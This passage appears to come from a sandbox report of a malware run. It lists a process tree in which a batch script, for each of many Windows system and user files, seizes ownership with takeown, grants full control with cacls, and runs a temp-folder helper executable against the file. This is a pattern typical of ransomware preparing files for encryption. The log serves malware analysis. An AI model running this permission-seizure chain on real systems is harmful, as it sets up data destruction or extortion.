  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml""
  2⤵
  PID:1784
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml" /E /G Admin:F /C
    3⤵
    PID:284
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml"
    3⤵
    PID:2092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner
    3⤵
    PID:3112
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner
      4⤵
      PID:1200
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml""
  2⤵
  PID:3164
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml" /E /G Admin:F /C
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml"
    3⤵
    - Modifies file permissions
    PID:1212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner
    3⤵
    PID:3412
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner
      4⤵
      PID:3840
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3456
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml""
  2⤵
  PID:112
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml" /E /G Admin:F /C
    3⤵
    PID:288
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml"
    3⤵
    - Modifies file permissions
    PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "RoamingCredentialSettings.xml" -nobanner
    3⤵
    PID:1932
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "RoamingCredentialSettings.xml" -nobanner
      4⤵
      PID:272
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat""
  2⤵
  PID:3128
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat" /E /G Admin:F /C
    3⤵
    PID:3984
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat"
    3⤵
    - Modifies file permissions
    PID:1120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner
    3⤵
    PID:2328
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner
      4⤵
      PID:2240
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1008
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl""
  2⤵
  PID:456
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl" /E /G Admin:F /C
    3⤵
    PID:876
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl"
    3⤵
    PID:268
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl" -nobanner
    3⤵
    PID:3104
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl" -nobanner
      4⤵
      PID:400
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:208
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl""
  2⤵
  PID:3880
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl" /E /G Admin:F /C
    3⤵
    PID:1932
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl"
    3⤵
    PID:2132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl" -nobanner
    3⤵
    PID:1436
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "UpdateSessionOrchestration.a367b37d-652f-4d88-9b9d-e3a17dac8879.1.etl" -nobanner
      4⤵
      PID:3304
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1568
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl""
  2⤵
  PID:3784
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl" /E /G Admin:F /C
    3⤵
    PID:2240
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl"
    3⤵
    - Modifies file permissions
    PID:2484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl" -nobanner
    3⤵
    PID:2860
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl" -nobanner
      4⤵
      PID:3128
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2092
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl""
  2⤵
  PID:3060
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl" /E /G Admin:F /C
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl"
    3⤵
    - Modifies file permissions
    PID:3104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl" -nobanner
    3⤵
    PID:2244
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl" -nobanner
      4⤵
      PID:1212
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1604
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""
  2⤵
  PID:1932
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C
    3⤵
    PID:4008
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"
    3⤵
    PID:2688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "KnownGameList.bin" -nobanner
    3⤵
    PID:560
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "KnownGameList.bin" -nobanner
      4⤵
      PID:2360
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3920
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG2""
  2⤵
  PID:2328
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG2" /E /G Admin:F /C
    3⤵
    PID:2860
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG2"
    3⤵
    - Modifies file permissions
    PID:1120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "settings.dat.LOG2" -nobanner
    3⤵
    PID:2168
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "settings.dat.LOG2" -nobanner
      4⤵
      PID:2184
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3744
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat""
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C
    3⤵
    PID:1420
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat"
    3⤵
    PID:268
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "settings.dat" -nobanner
    3⤵
    PID:3708
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "settings.dat" -nobanner
      4⤵
      PID:2976
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin""
  2⤵
  PID:1996
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin" /E /G Admin:F /C
    3⤵
    PID:996
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin"
    3⤵
    PID:3400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "TileCache_100_0_Data.bin" -nobanner
    3⤵
    PID:1892
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "TileCache_100_0_Data.bin" -nobanner
      4⤵
      PID:3920
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:112
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat""
  2⤵
  PID:2484
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C
    3⤵
    PID:3984
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat"
    3⤵
    - Modifies file permissions
    PID:4052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "settings.dat" -nobanner
    3⤵
    PID:400
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "settings.dat" -nobanner
      4⤵
      PID:1200
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml""
  2⤵
  PID:3840
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml" /E /G Admin:F /C
    3⤵
    PID:4072
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml"
    3⤵
    PID:3708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:292
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3148
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3616
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml""
  2⤵
  PID:3464
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3188
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml"
    3⤵
    PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3304
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:2132
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4008
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml""
  2⤵
  PID:3924
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml" /E /G Admin:F /C
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml"
    3⤵
    - Modifies file permissions
    PID:3744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner
    3⤵
    PID:2380
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner
      4⤵
      PID:280
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2484
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml""
  2⤵
  PID:1008
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml" /E /G Admin:F /C
    3⤵
    PID:1212
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml"
    3⤵
    - Modifies file permissions
    PID:3844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner
    3⤵
    PID:3104
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner
      4⤵
      PID:3828
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3412
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml""
  2⤵
  PID:4012
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml" /E /G Admin:F /C
    3⤵
    PID:3880
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml"
    3⤵
    PID:1784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftWordpad.xml" -nobanner
    3⤵
    PID:3648
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftWordpad.xml" -nobanner
      4⤵
      PID:1932
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3464
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat""
  2⤵
  PID:1124
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat" /E /G Admin:F /C
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat"
    3⤵
    - Modifies file permissions
    PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner
    3⤵
    PID:264
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat" -nobanner
      4⤵
      PID:2240
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3172
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl""
  2⤵
  PID:4064
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl" /E /G Admin:F /C
    3⤵
    PID:268
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl"
    3⤵
    PID:2244
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl" -nobanner
    3⤵
    PID:3060
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "NotificationUxBroker.0bf07bdc-e1d4-4076-9993-9e69524ca644.1.etl" -nobanner
      4⤵
      PID:2220
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1008
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1""
  2⤵
  PID:1796
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1" /E /G Admin:F /C
    3⤵
    PID:1760
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1"
    3⤵
    - Modifies file permissions
    PID:272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "settings.dat.LOG1" -nobanner
    3⤵
    PID:560
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "settings.dat.LOG1" -nobanner
      4⤵
      PID:1892
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4012
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""
  2⤵
  PID:2856
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C
    3⤵
    PID:4052
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"
    3⤵
    - Modifies file permissions
    PID:3760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "watermark.png" -nobanner
    3⤵
    PID:2168
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "watermark.png" -nobanner
      4⤵
      PID:3744
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:360
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""
  2⤵
  PID:440
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"
    3⤵
    - Modifies file permissions
    PID:3840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3296
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3844
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2092
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1""
  2⤵
  PID:288
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C
    3⤵
    PID:756
